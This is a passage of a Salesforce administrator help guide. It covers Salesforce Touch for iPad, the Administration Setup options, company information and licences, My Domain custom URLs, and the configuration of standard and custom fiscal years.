Salesforce Touch is a version of Salesforce thats designed specifically for touchscreen mobile devices. Using Salesforce Touch, you have real-time access to the same information that you see in the office, but organized for working while on the go. Note: This release doesnt have all of the functionality of the full Salesforce site. Only the Salesforce Sales app is available. You can work with your accounts, contacts, opportunities, tasks, and any custom tabs that are included in the Sales app, and you can view events that are accessible from activities related lists. Additionally, you can see your Chatter data, including People, Groups, and feeds. At this time, Salesforce Touch is supported on Apple iPad devices only. The Salesforce Touch interface includes links to the full site, where you can do tasks not currently available in Salesforce Touch. These links are provided as a convenience but using the full site from Salesforce Touch isnt officially supported. Salesforce Touch provides these benefits: An intuitive interface that is optimized for easy navigation and data interaction on an iPad, so you can scroll, tap, and swipe through records to quickly find the information you need Runs in your devices browser, so you dont have to download any software Automatic updates and enhancements, so youre always using the most current version Support for many of your organizations Salesforce customizations

See Also:
Salesforce Touch Requirements Enabling Salesforce Touch Accessing Salesforce Touch Using Salesforce Touch

380

Salesforce Touch

Salesforce Touch Requirements

Salesforce Touch Requirements


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

These are the requirements for using Salesforce Touch. Devices: Apple iPad (2nd- and 3rd-generation), with iOS version 5.0 or higher. Browsers: The default iPad browser, Safari. Private Browsing must be turned off. Tap the iPad Settings icon, then select Safari and set Private Browsing to Off. Salesforce: Chatter must be enabled for your organization. You must have an active Salesforce account to access Salesforce Touch. You must have access to the standard Sales app. Chatter Free users, Chatter Only users, and Chatter customers arent able to use Salesforce Touch. Wireless Connection: A Wi-Fi or cellular network connection is required to communicate with Salesforce. For the best performance, we recommend using Wi-Fi. If you use Salesforce Touch on a 3G cellular network, data rates may apply and you may incur roaming charges while traveling. Offline use of Salesforce Touch isnt currently supported. Language and Locale: Salesforce Touch works with almost all of the Salesforce-supported locales and the fully-supported and end user languages. The exception is right-to-left locales and languages (including Arabic, Hebrew, and so forth), which arent currently supported. Advanced currency management isnt currently supported.

See Also:
Salesforce Touch Overview Enabling Salesforce Touch Accessing Salesforce Touch

381

Salesforce Touch

Enabling Salesforce Touch

Enabling Salesforce Touch


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

User Permissions Needed To view Salesforce Touch settings: To modify Salesforce Touch settings: View Setup and Configuration Customize Application Modify All Data

Salesforce Touch is a variation of Salesforce that is designed for Apple iPad devices. To enable Salesforce Touch for your organization: 1. Click Your Name > Setup > Mobile Administration > Salesforce Touch > Settings. 2. Select Enable Touch Web. 3. Click Save. Salesforce Touch is disabled by default. Selecting this setting enables Salesforce Touch for all users in your organization. When users log in to Salesforce from the Safari on iPad web browser, theyre automatically redirected to the Salesforce Touch interface. Note: If users prefer to access the full Salesforce site from Safari instead, they can turn off the Salesforce Touch redirection for themselves, either from the app or from the full site by deselecting the Touch User checkbox at Your Name > Setup > My Personal Information > Personal Information.

See Also:
Salesforce Touch Overview Salesforce Touch Requirements Accessing Salesforce Touch Using Salesforce Touch Turning Salesforce Touch Off or On

Accessing Salesforce Touch


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

If Salesforce Touch is enabled for your organization, youre automatically redirected to the mobile web interface when you log in to Salesforce from your Safari for iPad web browser.

382

Salesforce Touch

Using Salesforce Touch

If Salesforce Touch doesnt automatically start for you, make sure that you didnt turn it off. See Turning Salesforce Touch Off or On on page 383 for more information.

See Also:
Salesforce Touch Overview Using Salesforce Touch Turning Salesforce Touch Off or On

Using Salesforce Touch


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

To learn about using Salesforce Touch, see the Salesforce Touch FAQ thats available from the Settings

icon in the app.

See Also:
Salesforce Touch Overview Accessing Salesforce Touch

Turning Salesforce Touch Off or On


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

If you prefer to access the full Salesforce site from the Safari for iPad web browser, you can turn off automatic redirection to Salesforce Touch, either from your iPad or from the full site. You can quickly re-enable the Salesforce Touch interface anytime from the full site. To turn off Salesforce Touch from your iPad: 1. Log in to Salesforce Touch from Safari. 2. Tap the Settings icon in the toolbar. 3. Select Turn off Touch. To turn off Salesforce Touch from the full Salesforce site: 1. 2. 3. 4. Click Your Name > Setup > My Personal Information > Personal Information. Click Edit. Deselect Touch User. Click Save.

383

Salesforce Touch

Turning Salesforce Touch Off or On

If you change your mind later, you can turn Salesforce Touch back on. From the full site, repeat the previous steps and select the Touch User checkbox.

See Also:
Salesforce Touch Overview Accessing Salesforce Touch

384

ADMINISTERING SALESFORCE

Setting Up Your Organization


The available setup options vary according to which Salesforce Edition you have.

Click Your Name > Setup > Administration Setup to open the Administration Setup page. It contains setup and customization options to help you set up your Salesforce organization. The sidebar includes tools for browsing and searching setup options.

Manage Users
Expand the Manage Users folder under Administration Setup to access the following options: Users Create, edit, and deactivate users (see also About Customer Portal User Management on page 1783). Mass Email Users Send an email to several of your users at once. Roles Define your organizations role hierarchy. Permission Sets Specify user permissions, object permissions, field permissions, and access to apps, tabs, Apex classes, Visualforce pages, and service providers, without changing users' profiles. Profiles Specify user permissions, object permissions, field permissions, record types, page layouts, desktop clients, login settings, and access to apps, tabs, Apex classes, Visualforce pages, and service providers. Public Groups Add, update, or delete public groups. Queues Add, update, or delete queues for cases, leads, and custom objects. Login History View when your users are logging in. Training History View which users have taken online training.

385

Administering Salesforce

Setting Up Your Organization

Company Profile
Expand the Company Profile folder under Administration Setup to access the following options: Company Information Update your company's information and set up multiple currencies. Manage Currencies Set up multiple currencies. Manage Divisions Set up divisions to segment your data for greater ease-of-use. Fiscal Year Set up fiscal years for your organization. Business Hours Set up business hours for your customer support team. Holidays Set up holidays during which business hours for your customer support team don't apply. My Domain Set up a custom Salesforce domain name, which appears in the URLs that you use to login to and use the application.

Security Controls
Expand the Security Controls folder under Administration Setup to access the following options: Sharing Settings Define how your users share data. Field Accessibility View the access that users have to specific fields based on profile and record types. Password Policies Define password policies for security. Session Settings Lock users sessions to an IP address or change session timeout settings. Network Access Define IP addresses from which users can log in to your organization. Certificate and Key Management Create and manage Salesforce key pairs and certificates for your organization. View Setup Audit Trail View which users have recently changed your organizations setup. Account Owner Report Restrict users from running the Account Owners report, which lists all accounts and who owns them.

386

Administering Salesforce

Setting Up Your Organization

Expire All Passwords Expire passwords for all users in the organization. Delegated Administration Enable standard users to perform some administrative duties. Remote Site Settings Specify the Web addresses that your organization can invoke from Salesforce. You must specify a site before callouts to them from Visualforce pages, Apex, or the AJAX proxy will function correctly. HTML Documents and Attachments Settings Restrict users from uploading HTML files as attachments or to the Documents tab. Portal Health Check View reports that show portal users' data access levels for your organization.

Communication Templates
Expand the Communication Templates folder under Administration Setup to access the following options: Letterheads Create branded letterheads for HTML emails. Email Templates Create email templates to standardize communication. Mail Merge Templates Upload templates for mail merge documents.

Globalization
View the Salesforce Globalization Overview online help topic to learn about the different administration tasks that are available for globalizing Salesforce.

Data Management
Expand the Data Management folder under Administration Setup to access the following options: Analytic Snapshots Enable users to automatically run reports and save report results to fields on custom objects for further customization. Import Accounts/Contacts, Import Person Accounts, Import Leads, Import Solutions, and Import Custom Objects Import your organizations accounts, contacts, custom objects, leads, person accounts, and solutions. Data Export Export your organizations data. Storage Usage View how much data storage and file storage your organization is using. Mass Transfer Records Transfer multiple records at one time.

387

Administering Salesforce

Setting Up Your Organization

Mass Delete Records Delete multiple records at one time. Mass Transfer Approval Requests Transfer multiple approval requests at one time. Delete All Data Delete the existing data from your trial organization. Mass Reassign Account Teams and Mass Reassign Opportunity Teams Add, remove, and reassign account and opportunity team members for multiple records. Mass Division Transfer Change divisions for multiple records. Sandbox Create a complete single copy of your organization in a separate environment to do a variety of actionssuch as quality assurance testing, integration testing, or user trainingwithout compromising your organizations data. Mass Update Addresses Update the Country or State/Province field on all records with an address. These include addresses in accounts, contacts, contracts, invoices, leads, and orders. Data Loader Download a client application that allows you to import, update, delete, and export large quantities of records.

Monitoring
Expand the Monitoring folder under Administration Setup to access the following options: Imports An administrator can check the Import Queue to view details about an import or to cancel an organization import. Outbound Messages An administrator can view the Outbound Message queue to check the status of outbound messages related to workflow or approval processes. Time-Based Workflow Specify criteria for monitoring the workflow queue, which contains pending actions triggered by workflow rules. Case Escalations Specify criteria for monitoring the case escalation queue, which contains pending actions triggered by case escalation rules. API Usage Notifications Define a notification process that automatically sends email to a specified user when API requests for an organization exceed the specified limit. Mass Emails View the status of scheduled mass emails and cancel mass emails as appropriate. Debug Logs Specify the users for whom you want to retain the Apex debug logs in your organization.

388

Administering Salesforce

Setting Up Your Organization

Scheduled Jobs View all the jobs scheduled to run by users, such as analytic snapshots and dashboard refreshes. Email Log Files Request detailed summaries of email sent from Salesforce over the last 30 days. Bulk Data Load Jobs Monitor the status of current and recent bulk data load jobs. Email Snapshots Take a snapshot of inbound email messages so you can more easily troubleshoot inbound email errors.

Mobile Administration
Expand the Mobile Administration folder under Administration Setup to create mobile configurations for your wireless users. Mobile configurations are sets of parameters that determine which data Salesforce transmits, and which users receive that data on their mobile devices.

Desktop Administration
Expand the Desktop Administration folder under Administration Setup to manage desktop configurations for Connect Offline and Connect for Outlook. Outlook Configurations Define the behavior of Salesforce for Outlook for your users, including the Salesforce options that appear in the Outlook user interface, the data that syncs between Salesforce and Outlook, and which users receive that data. Offline Briefcase Configurations Define the behavior of Connect Offline for your offline users. Offline briefcase configurations are sets of parameters that determine which data Salesforce transmits and which users receive that data in Connect Offline.

Email Administration
Expand the Email Administration folder under Administration Setup to configure the following email options for your organization: Deliverability Set up email delivery options that affect your entire organization. Organization-Wide Addresses Associate an email alias with each available user profile. Compliance BCC Email If your organization evaluates all outbound email messages for compliance, you can enable compliance BCC emails to automatically send a hidden copy of each outbound email message to an email address you specify. Enabling compliance BCC emails prevents users from editing the BCC field on any email and disables their Automatic Bcc setting under My Email Settings. Email Relay Activation Configure Salesforce to automatically route email through your company's Simple Mail Transfer Protocol (SMTP) server.

389

Company Information

About Company Information

Test Deliverability Verify your organization can receive email from every Salesforce IP address. Email To Salesforce Automatically log emails you send from third-party email accounts as activities on lead and contact records in Salesforce. Attachments Sent as Links Find and delete email attachments sent as links. Email Footers on page 1062 Create footers for outgoing email.

Google Apps
Expand the Google Apps folder under Administration Setup to integrate Salesforce with Google Apps: a suite of on-demand communication and collaboration tools hosted by Google and designed for business users.

COMPANY INFORMATION
About Company Information
Available in: All Editions

User Permissions Needed To view company information: To change company information: View Setup and Configuration Customize Application

When your company signs up, the information provided during signup is displayed on the Company Information page at Your Name > Setup > Company Profile > Company Information. From the Company Information page, you can: Click Edit to change your company's information, including your organization's Default Language setting. Click Currency Setup to set up the ability to use multiple currencies. Available in Group, Professional, Enterprise, Unlimited, Database.com, and Developer Editions only. Go to Checkout to buy additional user or feature licenses by clicking Buy More Licenses in the appropriate related list. For detailed instructions, see Checkout User Guide.

The Company Information page also displays all of the active user and feature licenses you have purchased for your organization. A user license entitles a user to different functionality within Salesforce and determines which profiles and permission sets are available to the user. A feature license entitles a user to an additional Salesforce feature, such as Marketing or Connect Offline. This page lists the following for each type of license:

390

Company Information

My Domain Overview

Status indicates the status of the license. Total Licenses indicates the number of licenses for which your company is billed and that are available to you. Used Licenses is the number of licenses that you have assigned to users. Remaining Licenses is the number of unused licenses.

In addition to license types, the following portal login information is listed for organizations that have Customer Portals or partner portals enabled:
Monthly Logins Allotted shows the maximum number of customer or partner portal logins allowed per month. Monthly Logins Used indicates the number of successful logins for all users associated with a customer or partner

portal user license for the month.

See Also:
Company Information Fields Understanding Language, Locale, and Currency Managing Multiple Currencies Understanding User License Types Viewing Feature Licenses

My Domain Overview
Available in: Unlimited, Enterprise, Developer, and Database.com editions.

Using My Domain, you can define a custom Salesforce domain name for your organization that highlights your brand, or a different term that represents your business. Using a custom domain name provides important advantages, such as increased security and better support for single sign-on. My Domain is also available for sandbox environments. You can only define a custom domain name one time. Note: My Domain is subject to these additional Terms of Use.

Your domain name uses the standard URL format, including: The protocol: https:// The subdomain prefix: your brand or term The domain: my.salesforce.com

For example, the login URL for a company called Universal Containers would be: https://universalcontainers.my.salesforce.com/. You can use up to 40 characters. It's a snap to set up a custom domain name. After you decide on the name or term you want to use, My Domain checks to make sure your subdomain is available. Then it registers the domain name and publishes it to the internet. After a brief period, you'll receive an email to let you know your new domain name is ready for testing. Log in using the new URL and test the URLs of other pages. When deployed, you have options for how you want to handle page requests that don't use the new domain name. You can block them entirely or redirect them to the new URLwith or without a message.

391

Company Information

Setting Up a Domain Name

Important: After you deploy your new domain name, you can't reverse it. After deployment, all users will be redirected to your new domain.

See Also:
Setting Up a Domain Name My Domain URL Changes Testing and Rolling Out Your New Domain Name Guidelines for Implementing and Rolling Out Your Domain Name Getting System Performance and Maintenance Information Using My Domain

Setting Up a Domain Name


Available in: Unlimited, Enterprise, Developer, and Database.com editions.

User Permissions Needed To set up a domain name: Customize Application

1. Click Your Name > Setup > Company Profile > My Domain. 2. Enter the name you want to use within the sample URL. For example, the login URL for a company called Universal Containers would be: https://universalcontainers.my.salesforce.com/. You can use up to 40 characters. 3. Click Check Availability. If your name is already taken, choose a different one. 4. Click Terms and Conditions to review your agreement, then select the checkbox. 5. You'll receive an email when your domain name is ready for testing. (It can take from 24 to 72 hours.) Click the URL in the email to login to Salesforce using your new domain name.

See Also:
My Domain URL Changes Testing and Rolling Out Your New Domain Name Guidelines for Implementing and Rolling Out Your Domain Name Getting System Performance and Maintenance Information Using My Domain My Domain Overview

392

Company Information

My Domain URL Changes

My Domain URL Changes


Available in: Unlimited, Enterprise, Developer, and Database.com editions.

When you set up a domain name for your organization, all of your application URLs, including those of Visualforce pages, will change. This table shows you the differences. URL Type Login Application page or tab Old URL
https://login.salesforce.com https://na1.salesforce.com/<pageID>

New URL
https://<subdomain>.my.salesforce.com https://<subdomain>.my.salesforce.com /<pageID>

Visualforce page https://c.na1.visual.force.com/apex/<pagename> https://<subdomain>--c.na1.visual. with no namespace force.com/apex/<pagename> Visualforce page with namespace
https://<yournamespace101>.na1.visual. https://<subdomain>-force.com/apex/<pagename> <yournamespace>.na1.visual.force.com /apex/<pagename>

Note: If you implement My Domain in a sandbox environment, the URL format is


https://<subdomain>--<sandboxname>.<instance>.my.salesforce.com. Since you can't have

namespaces in a sandbox environment, the format of all Visualforce page URLs in a sandbox is
https://<subdomain>--<sandboxname>.<instance>.my.salesforce.com/apex/<pagename>.

See Also:
Testing and Rolling Out Your New Domain Name Guidelines for Implementing and Rolling Out Your Domain Name Getting System Performance and Maintenance Information Using My Domain Setting Up a Domain Name My Domain Overview

393

Company Information

Testing and Rolling Out Your New Domain Name

Testing and Rolling Out Your New Domain Name


After you set up your domain name, youll need to test it. Available in: Unlimited, Enterprise, Developer, and Database.com editions.

User Permissions Needed To set up a domain name: Customize Application

Test the new domain name by clicking tabs and links that you use within your application. You'll notice that all the tabs and pages show your new domain name. After you test your domain name, you're ready to roll it out to users. 1. When you finish testing your new domain name, click Your Name > Setup > Company Profile > My Domain and click Deploy to Users to roll out the new domain name to your organization. Important: After you deploy your new domain name, you can't reverse it. After deployment, all users will be redirected to your new domain. 2. Click Edit in the My Domain Settings related list. If you want to accept logins from your new domain only, select the Login Policy checkbox. If you don't require users to log in from the new domain, they'll be blocked or redirected based on your redirect setting. 3. Select a redirect policy. If you want to redirect page requests that don't use the new domain name, select a redirect option. Users can access pages with or without a message explaining the URL change. 4. Click Save.

See Also:
My Domain URL Changes Guidelines for Implementing and Rolling Out Your Domain Name Getting System Performance and Maintenance Information Using My Domain Setting Up a Domain Name My Domain Overview

Guidelines for Implementing and Rolling Out Your Domain Name


Available in: Unlimited, Enterprise, Developer, and Database.com editions.

If your domain is registered but has not yet been deployed, URLs will show My Domain URLs when you log in from the My Domain login page. However, links that originate from merge fields that are embedded in emails sent asynchronously,

394

Company Information

Getting System Performance and Maintenance Information Using My Domain

such as workflow emails, will still contain the old URLs. After your domain is deployed, those links will show the new My Domain URLs. If you block application page requests that don't use the new Salesforce domain name URLs, let your users know they need to either update old bookmarks or create new ones for the login page and any tabs or links within the application. Users will be required to use the new URLs if you block page requests. If you choose to redirect page requests to new URLs and provide a warning message, let your users know that they should update their bookmarks the first time they're redirected. If you have customized your Salesforce UI with features such as custom buttons or Visualforce pages, make sure you test thoroughly before you roll out your new domain name. Your customizations should not use instance-based URLs. After you roll out your new domain name, use My Domain's redirect tools to gradually phase it in. For example, choose the Redirected with a warning... option to make sure users update their bookmarks. When your organization is ready to use the new domain URLs exclusively, return to setup and choose the Blocked option so users can't use their old URLs. If you are using My Domain, you can identify which users are logging in with the new login URL, and when. Click Your Name > Setup > Manage Users > Login History and look at the Username and Login URL columns.

See Also:
My Domain URL Changes Testing and Rolling Out Your New Domain Name Getting System Performance and Maintenance Information Using My Domain Setting Up a Domain Name My Domain Overview

Getting System Performance and Maintenance Information Using My Domain


Salesforce customers get system performance and maintenance information from trust.salesforce.com. Available in: Unlimited, Enterprise, Developer, and Database.com editions.

User Permissions Needed To set up a domain name: Customize Application

Here's how to get that information using your new domain name. 1. Go to trust.salesforce.com. 2. Click the System Status tab. 3. Enter your domain name to find your instance and check the status.

395

Company Information

Setting the Fiscal Year

4. Scroll to the System Maintenance table and look for entries for your instance.

See Also:
My Domain URL Changes Testing and Rolling Out Your New Domain Name Guidelines for Implementing and Rolling Out Your Domain Name Setting Up a Domain Name My Domain Overview

Setting the Fiscal Year


Available in: All Editions except for Database.com.

User Permissions Needed To view fiscal year: To change fiscal year: View Setup and Configuration Customize Application

You can set one of two types of fiscal years: standard fiscal years or custom fiscal years. For specific information on both types of fiscal years, see About Fiscal Years on page 398.

Setting a Standard Fiscal Year


If your organization follows the Gregorian calendar year, but you need to change the fiscal year start month, use standard fiscal years. Standard fiscal years can start on the first day of any month, and you can specify whether the fiscal year is named for the starting or ending year. For example, if your fiscal year starts in April 2011 and ends in March 2012, your fiscal year setting can be either 2011 or 2012. If your fiscal year is more complicated than this, see Enabling Custom Fiscal Years on page 397 Warning: You can lose all quotas, forecast history, and overrides if you change your fiscal start month. To preserve your data, change a month to one previously used as the first month in a quarter. For example, if your start month is April and you change it to May, which isn't a month that starts a fiscal quarter, you'll lose data. If you change it to July, which is a month that starts a fiscal quarter, you'll preserve your data. This doesnt apply to the Forecasts product first released in Winter 12 because it doesnt have quarterly forecasts periods. To set a standard fiscal year: 1. Back up your current data. a. Run and export these reports to Excel: Opportunity Pipeline Quarterly Forecast Summary Quota vs. Actual

b. Optionally, generate weekly export data.

396

Company Information

Setting the Fiscal Year

We suggest you do this because changing the fiscal year will cause fiscal periods to shift. This change will affect opportunities and forecasts organization-wide. 2. 3. 4. 5. 6. Click Your Name > Setup > Company Profile > Fiscal Year. Select Standard Fiscal Year. Choose the start month. Specify whether the fiscal year is defined by the year it begins or ends. Optionally, select Apply to All Forecasts and Quotas if you want to apply the new fiscal year settings to your existing forecasts and quotas. This option may not be available depending on your forecast settings. 7. Click Save to finish.

Enabling Custom Fiscal Years


If your fiscal year definition is not met by a standard fiscal year, you can enable custom fiscal years which will allow you to flexibly define a more complex fiscal year structure. To enable custom fiscal years: Note: Before enabling custom fiscal years, make sure that you have exported any data related to fiscal periods. For specific details about the effects of enabling custom fiscal years, see About Fiscal Years on page 398. 1. Back up your current data. a. Run and export these reports to Excel: Opportunity Pipeline Quarterly Forecast Summary Quota vs. Actual

b. Optionally, generate weekly export data. We suggest you do this because changing the fiscal year will cause fiscal periods to shift. This change will affect opportunities and forecasts organization-wide. 2. 3. 4. 5. Click Your Name > Setup > Company Profile > Fiscal Year. Select Custom Fiscal Year. Click Enable Custom Fiscal Years. If you understand the effects of enabling custom fiscal years and you have all your data exported, click OK. Warning: Custom fiscal years cannot be disabled once enabled. Enabling custom fiscal years has impacts on your reports, forecasts, quotas, and other date sensitive material. Do not enable custom fiscal years unless you understand and are prepared for all the implications. If you are not certain you want to enable custom fiscal years, click Cancel. 6. Once you have enabled custom fiscal years, define your fiscal year. See Defining a Custom Fiscal Year on page 404.

See Also:
Setting Up Customizable Forecasting About Fiscal Years Defining a Custom Fiscal Year Choosing a Custom Fiscal Year Template

397

Company Information

About Fiscal Years

About Fiscal Years


Available in: All Editions except for Database.com.

User Permissions Needed To define or edit fiscal years: To view fiscal years: Customize Application View Setup and Configuration

Not all businesses use the Gregorian year for their fiscal year. Salesforce makes it easy for you to define a fiscal year that fits your business needs. If your fiscal year follows the Gregorian calendar, but does not start in January, you can simply and easily set your fiscal year by defining a standard fiscal year. If your fiscal year follows a different structure, you can define a custom fiscal year that meets your needs. Whether you use a standard fiscal year or a custom fiscal year, you can define individual fiscal years once for your entire organization. These fiscal year definitions allow you to use these fiscal periods throughout Salesforce including in reporting, opportunities, and forecasting. Tip: As a best practice, define your custom fiscal years after your current forecast. Also, update product schedules and forecasts whenever a custom fiscal year is created or changed.

See Also:
Setting the Fiscal Year

Standard Fiscal Years


Standard fiscal years are periods that follow the Gregorian calendar, but can start on the first day of any month of the year. Unlike custom fiscal year, standard fiscal years can be used by organizations that do not have customizable forecasting enabled.

Custom Fiscal Years


For companies that break down their fiscal years, quarters, and weeks into custom fiscal periods based on their financial planning requirements, Salesforce allows you to flexibly define these periods using custom fiscal years. For example, as part of a custom fiscal year, you can create a 13-week quarter represented by three periods of 4, 4, and 5 weeks, rather than calendar months. If you use a common fiscal year structure, such as 4-4-5 or a 13-period structure, you can rapidly define a fiscal year by simply specifying a start date and an included template. If your fiscal year structure is not included in the templates, you can easily

398

Company Information

Customizing the Fiscal Year Structure

modify a template. For example, if you use three fiscal quarters per year (a trimester) rather than four, delete or modify quarters and periods to meet your needs. Custom fiscal periods can be named based on your standards. For example, a fiscal period could be called P2 or February. Fiscal years can be modified any time that you need to change their definition. For example, an extra week could be added to synchronize a custom fiscal year with a standard calendar in a leap year. Changes to fiscal year structure take effect immediately upon being saved. Considerations When Enabling Custom Fiscal Years Before enabling custom fiscal year, consider these issues: Once you enable custom fiscal years, you cannot disable it. However, you can define custom fiscal years that follow the same Gregorian calendar structure as the Salesforce standard fiscal years. Fiscal years will not be automatically created. The only fiscal years available are those that your organization defines. Forecasting cannot be used with custom fiscal years unless you have customizable forecasting enabled. To determine if you have customizable forecasting, see Do I Have Customizable Forecasting? on page 2624. Enabling or defining custom fiscal years impacts your forecasts, reports, and quotas. When you define a new custom fiscal year, or when you change the length of any fiscal period, all quotas for that year will be lost. When you define a new custom fiscal year, or when you change the length of any fiscal period, forecasts, forecast history, and forecast overrides are lost. Changing the length of a period may also affect the previous or next fiscal year and reports associated with it. Forecasts for periods before the first custom fiscal year will be saved and can be accessed as usual. Forecast reports for a period after the last defined fiscal year cannot be grouped by period, only by date. To ensure your forecast reports have the most updated amounts, view the forecast for the period included in the report before running a forecast report. Your organization will not be able to use fiscal period columns in opportunity, opportunity with product, or opportunity with schedule reports. Opportunity list views will not include a fiscal period columns. When custom fiscal years are enabled, you can't use the FISCAL_MONTH(), FISCAL_QUARTER(), or FISCAL_YEAR() date functions in SOQL. For more information on SOQL date functions, see the Salesforce SOQL and SOSL Reference Guide.

Customizing the Fiscal Year Structure


Available in: All Editions except for Database.com.

User Permissions Needed To define or edit fiscal years: To view fiscal years: Customize Application View Setup and Configuration

If your custom fiscal year needs a different structure than one available from the templates, you can use advanced customization to modify the details of your custom fiscal year definition. Custom fiscal years allow you to:

399

Company Information

Customizing the Fiscal Year Structure

Customize the period labels Reset the fiscal year to a template Add or remove fiscal periods Change the length of a fiscal week Warning: Changing the length of a fiscal year has an impact on forecasting and reporting. For detailed information on the impact, see About Fiscal Years on page 399.

Customizing the Period Labels


The fiscal year period labels for forecasting and reporting are set by the default label values for the fiscal year periods. To change them, see Customizing the Fiscal Year Labels on page 401.

Resetting the Fiscal Year to a Template


During customization, if you want to return to a fiscal year template, select a template from the Reset Fiscal Year Structure drop-down list. Note: Resetting the fiscal year structure to a template removes all the customizations you made to the fiscal year.

Adding or Removing Fiscal Periods


You can easily add or remove fiscal periods (such as quarters, periods, or weeks) from the fiscal year structure. To add fiscal periods: 1. 2. 3. 4. Click Your Name > Setup > Company Profile > Fiscal Year. Click Edit for the fiscal year you want to edit. If it is not already expanded, expand the Advanced Customization section. Select the checkbox for the period before the new period. For example, if you want to add a new quarter, and you want it to be the second quarter, select the checkbox for the first quarter. 5. Click Insert. Note: The maximum number of fiscal periods is 250.

To remove a fiscal period: 1. 2. 3. 4. 5. Click Your Name > Setup > Company Profile > Fiscal Year. Click Edit for the fiscal year you want to edit. If it is not already expanded, expand the Advanced Customization section. Select the checkbox for the period you want to delete. Click Delete. Note: You must have at least one quarter, one period, and one week.

400

Company Information

Customizing the Fiscal Year Labels

Changing the Length of a Fiscal Week


To change the length of fiscal periods: 1. 2. 3. 4. Click Your Name > Setup > Company Profile > Fiscal Year. Click Edit for the fiscal year you want to edit. If it is not already expanded, expand the Advanced Customization section. Choose the length from the Duration drop-down list for the fiscal week. Note: To change the duration of a fiscal period or quarter, insert or delete weeks, or change the length of weeks that compose the period or quarter.

Once you have customized your fiscal year, preview the fiscal year definition. If it is correct, close the preview and click Save to save your fiscal year.

See Also:
Defining a Custom Fiscal Year About Fiscal Years Choosing a Custom Fiscal Year Template

Customizing the Fiscal Year Labels


Available in: All Editions except for Database.com.

User Permissions Needed To define or edit fiscal years: To view fiscal years: Customize Application View Setup and Configuration

There are two ways to customize the labeling of your fiscal year: 1. Naming schemes and prefix choices 2. Fiscal year picklist customization

Fiscal Year Naming Schemes and Prefix Choices


When defining a custom fiscal year, you can choose the labeling scheme to use for your custom fiscal year. Each fiscal period type (quarter, period, and week) has a list of labeling schemes that you can select. Quarter Name Scheme Numbered by Year This option allows you to add the quarter number to the quarter label. The quarter label is a combination of the label for the quarter prefix and the quarter number. For example, if the quarter prefix is Q, the label for the third quarter Q3. To customize the quarter prefix, see Quarter Prefix on page 402. By default the number for each

401

Company Information

Customizing the Fiscal Year Labels

quarter is set by their order (the first quarter is labeled 1), but you can customize it by selecting a different value from the quarter detail drop-down list. Custom Quarter Names This option allows you to set the quarter label to any name. The quarter label is set to the name you select from Quarter Name. By default the order of the quarter names is the same as the picklist order, but you can customize it by selecting a different value from the quarter detail drop-down list. Period Name Scheme Numbered By Year This option allows you to set the period label based on its position in the year. The period label is a combination of the period prefix and the period number. Period numbers do not reset in each quarter. For example, if the period prefix is P, the label for the sixth period is P6. To customize the Period Prefix, see Period Prefix on page 402. By default the number for each period is set by their order (the first period is labeled 1), but you can customize it by selecting a different value from the period detail drop-down list. Numbered By Quarter This option allows you to set the period label based on its position in the quarter. The period label is a combination of the period prefix and the period number. Period numbers reset in each quarter. For example, if the period prefix is P, and the sixth period is the second period in the second quarter, its label is P2. To customize the period prefix, see Period Prefix on page 402. By default the number for each period is set by their order within the quarter (the first period in a quarter is labeled 1), but you can customize it by selecting a different value from the period detail drop-down list. Standard Month Names This option allows you to set the period label to the month name of the start of the period. For example, if a period started on October 12 and ends on November 10, the period label would be October. Custom Period Names This option allows you to set the period label to any string. The period label is set to the string you select from Period Name. By default the order of the period names is the same as the picklist order, which you can customize by selecting a different value from the period detail drop-down list.

Fiscal Year Picklists


Review these custom picklists to customize the labels for your custom fiscal year.
Quarter Prefix

The quarter prefix picklist is a list of options for the text that prefixes the quarter number or name if your fiscal year uses the Numbered By Year quarter naming scheme. For example, if the fiscal quarter is called Q4, the Q is the quarter prefix.
Period Prefix

The period prefix picklist is a list of options for the text that prefixes the period number or name if your fiscal year uses the Numbered By Year period naming scheme. For example, if the fiscal quarter is called P4, the P is the period prefix.
Quarter Name

The quarter name picklist is a list of options for the quarter name if your fiscal year uses the Custom Quarter Names quarter naming scheme. For example, if you want to name your quarters for the seasons (Spring, Summer, Fall, and Winter), you could set the quarter name list to those values.

402

Company Information

Choosing a Custom Fiscal Year Template

Period Name

The period name picklist is a list of options for the quarter name if your fiscal year uses the Custom Period Names quarter naming scheme. Similar to the quarter name picklist, you can choose meaningful names for the period name picklist.

Customizing Fiscal Year Names


To customize one of these picklists: 1. Click Your Name > Setup > Company Profile > Fiscal Year. 2. Click Edit next to the appropriate picklist. For details on customizing the values of these picklists, see Additional Options for Updating Picklists on page 1079.

Choosing a Custom Fiscal Year Template


Available in: All Editions except for Database.com.

User Permissions Needed To change your fiscal year: Customize Application

When defining a new custom fiscal year, your first step is to choose a custom fiscal year template. These templates are available to make it easier for you to define your custom fiscal year. They create a simple custom fiscal year that you can customize to meet your exact needs. Note: If you choose a template and realize that it is not the best one for your fiscal year definition, you can reset it at any time using the Reset Fiscal Year Structure option. For more information, see Customizing the Fiscal Year Structure on page 399. Choose one of three types of templates: 4 Quarters per Year, 13 Weeks per Quarter Choose one of these templates for your fiscal year if you want each quarter to have the same number of weeks per quarter. These templates all have 4 quarters, 12 periods, and 52 weeks per year. Each quarter is 13 weeks long and is composed of three periods. Two of the periods in each quarter are 4 weeks, and one is 5 weeks. In a 4-4-5 template, for example, the first and second period of a quarter are 4 weeks long, and the third period is 5 weeks long. Weeks are always 7 days long. A typical customization for these templates is to add extra weeks for leap years. 4-4-5 Within each quarter, period 1 has 4 weeks, period 2 has 4 weeks, and period 3 has 5 weeks 4-5-4 Within each quarter, period 1 has 4 weeks, period 2 has 5 weeks, and period 3 has 4 weeks 5-4-4 Within each quarter, period 1 has 5 weeks, period 2 has 4 weeks, and period 3 has 4 weeks

403

Company Information

Defining a Custom Fiscal Year

